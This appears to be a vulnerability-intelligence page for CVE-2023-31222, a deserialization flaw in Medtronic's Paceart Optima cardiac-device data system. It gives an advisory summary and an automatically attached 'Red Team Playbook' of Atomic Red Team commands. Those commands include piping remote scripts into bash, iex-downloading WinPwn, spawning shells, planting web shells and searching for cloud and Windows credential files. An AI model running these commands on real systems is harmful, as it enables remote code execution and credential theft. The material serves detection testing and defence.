CVE-2023-31222
Overview
This vulnerability is a deserialization of untrusted data flaw affecting the Microsoft Messaging Queuing Service component within Medtronic's Paceart Optima system. The root cause lies in the insecure handling of serialized input data, which is improperly deserialized without sufficient validation or sanitization. This flaw specifically impacts Paceart Optima versions 1.11 and earlier running on Windows platforms, allowing maliciously crafted data to be processed by the messaging service.
Vulnerability Description
Deserialization of untrusted data in Microsoft Messaging Queuing Service in Medtronic's Paceart Optima versions 1.11 and earlier on Windows allows an unauthorized user to impact a healthcare delivery organization’s Paceart Optima system cardiac device causing data to be deleted, stolen, or modified, or the Paceart Optima system being used for further network penetration via network connectivity.
Impact
An unauthenticated remote attacker can exploit this flaw over the network to delete, steal, or modify sensitive cardiac device data managed by the Paceart Optima system. Additionally, the compromised system can be leveraged as a pivot point for further network penetration within a healthcare delivery organization’s infrastructure. The attack requires network access but no user interaction or privileges, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N), enabling high-impact confidentiality, integrity, and availability breaches.
Solution
Medtronic has released a security bulletin addressing this issue for the Paceart Optima system. Users should upgrade to versions later than 1.11 where the deserialization vulnerability is mitigated. Detailed patch instructions and version information are available at https://global.medtronic.com/xg-en/product-security/security-bulletins/paceart-optima-system.html. Organizations are advised to apply these updates promptly to eliminate the insecure deserialization flaw and secure affected Windows deployments.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the deserialization of untrusted data in the Microsoft Messaging Queuing Service poses a significant risk to the integrity and security of Medtronic's Paceart Optima system. This flaw allows an attacker to manipulate serialized data, which can lead to unauthorized access and control over the system. The deserialization process, when not properly validated, can permit an adversary to inject malicious payloads into the application, potentially leading to arbitrary code execution or the alteration of sensitive data. Given that the Paceart Optima system is integral to managing cardiac devices, the implications of this vulnerability are particularly severe, as it can directly affect patient care and safety.
Attack vectors exploiting this vulnerability can vary, but they typically involve an unauthorized user gaining access to the messaging service. This could be achieved through various means, such as phishing attacks, network intrusions, or exploiting other vulnerabilities within the healthcare organization's infrastructure. Once access is obtained, the attacker can send crafted messages that exploit the deserialization flaw, leading to unauthorized actions such as data deletion, theft, or modification. Furthermore, the compromised system could serve as a launch point for further attacks within the network, allowing the adversary to escalate their privileges and access additional sensitive systems or data.
The real-world impact of this vulnerability is profound, particularly in the context of healthcare delivery organizations. The potential for data to be deleted, stolen, or modified can lead to significant operational disruptions, loss of patient trust, and regulatory repercussions. In an industry where data integrity is paramount, any compromise can have life-threatening consequences. Moreover, the financial implications of addressing such a breach, including remediation costs, legal liabilities, and potential fines from regulatory bodies, can be substantial. The reputational damage to the organization can also hinder its ability to attract and retain patients, further exacerbating the business risk.
To detect and mitigate this vulnerability, organizations must implement a multi-faceted approach. Regular security assessments, including penetration testing and code reviews, can help identify and remediate vulnerabilities before they can be exploited. Additionally, employing robust input validation and sanitization techniques during the deserialization process is crucial to prevent malicious payloads from being processed. Organizations should also consider implementing network segmentation to limit the potential impact of a breach, ensuring that critical systems like the Paceart Optima are isolated from less secure areas of the network. Continuous monitoring for unusual activity within the messaging service can also aid in early detection of potential exploitation attempts.
In conclusion, the deserialization vulnerability in the Microsoft Messaging Queuing Service of Medtronic's Paceart Optima system represents a critical threat to healthcare organizations. The potential for unauthorized access and manipulation of sensitive data underscores the need for rigorous security measures and proactive risk management strategies. By prioritizing security in the design and operation of healthcare technologies, organizations can better protect themselves against the evolving landscape of cyber threats, ultimately safeguarding patient care and maintaining trust in their services.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Medtronic | Paceart Optima | All |
cpe:2.3:a:medtronic:paceart_optima:*:*:*:*:*:windows:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
52%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-31222 |
| global.medtronic.com |
GitHub CVE
|
https://global.medtronic.com/xg-en/product-security/security-bulletins/paceart-optima-system.html |